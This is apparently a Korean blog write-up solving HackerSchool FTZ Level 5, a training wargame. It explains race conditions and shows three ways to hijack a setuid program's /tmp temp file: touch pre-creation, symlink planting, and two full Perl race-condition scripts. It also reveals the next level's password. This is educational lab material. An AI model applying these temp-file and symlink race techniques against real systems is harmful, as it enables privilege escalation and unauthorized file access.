이번에 풀어볼 문제는 HackerSchoolFTZ Level 5 입니다.
이번 문제는 Race Condition(경쟁 상태)에 대한 개념과 Symbolic Link 에 대한 선수지식을 필요로 합니다.
Race Condition(경쟁 상태)
하나의 공유자원에 여러개의 프로세스가 동시에 접근하려는 상태를 말합니다.
이러한 경쟁 상태를 이용해 관리자 권한을 탈취하거나 허가된 권한 이상의 파일에 접근할 수 있는데 이러한 공격을레이스 컨디션 공격
이라고 합니다.
Level 5 Write-Up
level5 계정에 접속 후 힌트를 봅니다.
$cat hint
cat hint
level5 파일은 “/tmp/level5.tmp” 라는 임시파일을 생성한다고 합니다.
그러나 아래와 같이 level5를 실행하고, /tmp 디렉터리로 이동을 해보면 tmp 파일이 존재하지 않습니다.
$ level5
$ ls -la /tmp
ls -la /tmp
level5 파일은 level6 유저의 권한으로 setuid가 걸려져 있는 파일입니다.
level6의 권한으로 /tmp 경로에 level5.tmp 라는 임시파일을 생성한 후 파일에 특정 데이터를 쓰고, 삭제하는 것으로 추정됩니다.
$ ls -la /usr/bin/level5
ls -la /usr/bin/level5
문제를 풀고 난 후 확인해봤는데 문제풀이 방법이 세가지정도가 있는것 같아 클리어하기 쉬운방법부터 정리해봤습니다.
[1번째 방법] touch로 파일생성 후 덮어씌우기
/tmp 경로에 touch 명령어로 level5.tmp 파일을 생성한 후 level5 명령어를 실행 합니다.
파일의 크기가 31 byte인 것을 보아 무언가 내용이 써진것 같습니다.
$ cd /tmp
$ touch level5.tmp && level5
$ ls -la
create level5.tmp
level6 계정의 패스워드를 알아냈습니다.
$ level5
$ cat level5.tmp
level5 run and cat level5.tmp
[2번째 방법] 심볼릭 링크 생성후 덮어씌우기
touch 명령어로 test 파일을 생성 후 ln -s
명령어로 test 파일을 가리키는 level5.tmp 링크를 생성합니다.
심볼릭 링크로 연결된 상태기 때문에, level5.tmp에 입력하는 것은 test 파일에 입력하는 것과 동일하며 level5.tmp 파일이 삭제되더라도 test 파일에 등록된 내용 확인이 가능합니다.
$ touch test && ln -s test level5.tmp
$ ls -al
create level5.tmp symlink
이후 level5 파일을 실행후 test 파일의 내용을 확인하면 level6 계정의 패스워드를 알아낼 수 있습니다.
$ level5
$ cat test
run level5 and cat test
[3번째 방법] Race Condition 공격 이용하기
아마도 이 방법이 출제자의 의도에 맞는 방법이 아닐까 생각 합니다.
Race Condition 공격을 수행하기 위한 조건을 정리해보면 아래와 같습니다.
- 1) 탈취 대상 유저의 권한으로 setuid가 걸려 있어야 한다.
- 2) 임시 파일을 생성하며 임시파일을 이용한 처리 로직을 가져야 한다.
- 3) 임시 파일의 파일명과 생성 경로를 알고 있어야 한다.
해당 문제의 level5 파일은 위 세가지 조건을 모두 충족하고 있습니다.
공격수행을 위한 perl 스크립트를 작성해보겠습니다.
(해당 스크립트는 홈디렉터리에 파일을 생성할 권한이 없기때문에 /tmp 경로에 생성해야 합니다.)
1) ‘/tmp/runlevel5.pl’
level5 파일을 계속해서 실행하기 위한 스크립트 입니다.
while(1) {
system("/usr/bin/level5");
}
2) ‘/tmp/makesymlink.pl’
symlink를 생성하며 test 파일의 내용을 출력합니다.
system("echo 'none' > /tmp/test"); # /tmp/test 파일을 생성합니다.
for ($i = 0; $i < 30; ++$i) {
system("ln -s test /tmp/level5.tmp"); # test 파일을 가리키는 /tmp/level5.tmp 링크를 생성합니다.
system("cat /tmp/test"); # /tmp/test 파일의 내용을 출력합니다.
unlink("/tmp/level5.tmp"); # level5.tmp 링크를 삭제합니다.
}
unlink("/tmp/test");
‘runlevel5.pl’ 스크립트를 백그라운드로 실행해서 ls 명령어를 여러번 수행해보면 예상한대로 level5.tmp 파일이
바로 생성되었다가 지워지는 것을 확인 할 수 있습니다.
$ perl runlevel5.pl &
$ ls
perl runlevel5.pl &
ls
이 상태에서 “makesymlink.pl” 스크립트를 실행 합니다.
공격이 한번에 성공하지 않을 수 있으니 반복 횟수를 늘리거나 여러번 실행해야 합니다.
$ perl makesymlink.pl
perl makesymlink.pl
최종적으로 level6 계정의 패스워드 what the hell
를 획득했습니다.
index.html
index.html 파일에서 아래와 같은 내용을 확인할 수 있습니다.
$ cat index.html
index.html